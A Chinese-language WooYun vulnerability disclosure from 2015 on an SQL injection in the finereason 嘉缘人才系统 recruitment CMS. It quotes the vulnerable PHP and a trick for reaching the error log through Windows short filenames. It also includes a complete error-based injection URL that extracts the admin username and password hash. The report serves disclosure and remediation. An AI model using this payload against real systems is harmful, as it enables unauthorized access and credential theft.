当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099278

漏洞标题:嘉缘人才系统sql注入#4

相关厂商:finereason.com

漏洞作者: 牛肉包子

提交时间:2015-03-05 16:25

修复时间:2015-06-08 16:27

公开时间:2015-06-08 16:27

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-05: 细节已通知厂商并且等待厂商处理中
2015-03-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-04: 细节向核心白帽子及相关领域专家公开
2015-05-14: 细节向普通白帽子公开
2015-05-24: 细节向实习白帽子公开
2015-06-08: 细节向公众公开

简要描述:

求20rank

详细说明:

看到\frcms\wap\index.php

$rid='';$title='我的求职简历';$chinese=$cnstatus=$visitnum=$personinfo=1;
$member=$login;$adddate=dtime($fr_time,6);$flag=$regpArray[4]==1?0:1;
$rsqls=$rsqlss='';
foreach($rsqlstr as $v){
$v=str_replace('r_','',$v);
if(isset($$v)){
$rsqls.="r_$v,";
$rsqlss.="'".cleartags($$v)."',";
}
}
$rsqls=substr($rsqls,0,-1);$rsqlss=substr($rsqlss,0,-1);
$db ->query("INSERT INTO {$cfg['tb_pre']}resume ($rsqls) VALUES($rsqlss)");
$_SESSION["username"]=$login;
showwapmsg('注册成功!',"?a=member$w");exit();
}
省略部分代码
if($s=='interviewshow'){
$id=intval($id);
$id&&$rss = $db->get_one("select * from {$cfg['tb_pre']}myinterview where i_pmember='$username' and i_id=$id limit 0,1");
$id&&$db->query("update {$cfg['tb_pre']}myinterview set i_read=1 where i_id=$id");
}
if($d=='refresh'){
$rid&&$db->query("update {$cfg['tb_pre']}resume set r_adddate=NOW() where r_id='$rid'");
showwapmsg('刷新成功!','0');exit();
}elseif($d=='activate'){
$db ->query("update {$cfg['tb_pre']}resume set r_cnstatus=0 where r_member='$username'");
$db ->query("update {$cfg['tb_pre']}resume set r_cnstatus=1 where r_id=$rid and r_member='$username'");//进入sql语句,并且没有单引号
showwapmsg('激活成功!','0');exit();
}
$smarty->assign("ishownum",$ishownum);
$smarty->assign("resumelist",$resumelist);
$smarty->assign("interviewlist",$interviewlist);
$smarty->assign("rss",$rss);
$smarty->assign("s",$s);
$smarty->assign("rss",$rss);
}


由于这个cms有自动注册变量的机制,所以rid是可控的。我们登陆
http://127.0.0.1/frcms/wap/
然后在我的简历处,点击激活简历,可以抓到如下数据包。

1.png


2.png


可以看到mysql已经报错了。这时的mysql日志记录为

3.png


由于这个注入点在update语句后,只能通过盲注或报错注入来获取数据。感觉通过盲注太麻烦了。这个cms会把mysql错误记录到一个文件里面。
这个文件的命名为如下代码实现

function log_write($message, $type = 'php') {
global $cfg, $fr_time, $username;
$userip = getip();
$fr_time or $fr_time = time();
$user = $username ? $username : 'guest';
dir_create(DATA_ROOT.'/log/');
$log_file = DATA_ROOT.'/log/'.$type.'_'.md5($cfg['cookie_encode']).'.txt';
$log = date('Y-m-d H:i:s', $fr_time)."||$userip||$user||".$_SERVER['SCRIPT_NAME']."||".str_replace('&', '&', $_SERVER['QUERY_STRING'])."||$message\r\n";
$olog=file_get_contents($log_file);
fputs(fopen($log_file,"w"), $log.$olog);
}


通过md5$cfg['cookie_encode'],看起来好像是无法,访问到的。但是,在Windows可以通过短文件名访问。
我们只需要文件名前6位就行。而且这个log前四位固定为sql_,后面两位秒秒钟跑一下就出来了。

4.png


构造如下注入

/frcms/wap/?a=member&d=activate&rid=1%0aand%0achar(@`'`)%0aor%0a(SELECT%0a1%0aFROM(SELECT%0acount(*),concat((SELECT(SELECT%0aconcat(a_user,0x27,a_pass))%0aFROM%0ajob_admin%0alimit%0a0,1),floor(rand(0)*2))x%0aFROM%0ainformation_schema.columns%0agroup%0aby%0ax)a)%0a%23`'`&wap


5.png


漏洞证明:

5.png

修复方案:

intval

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-08 16:27

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-05 18:36 | roker ( 普通白帽子 | Rank:357 漏洞数:102 )

    爷爷好恐怖。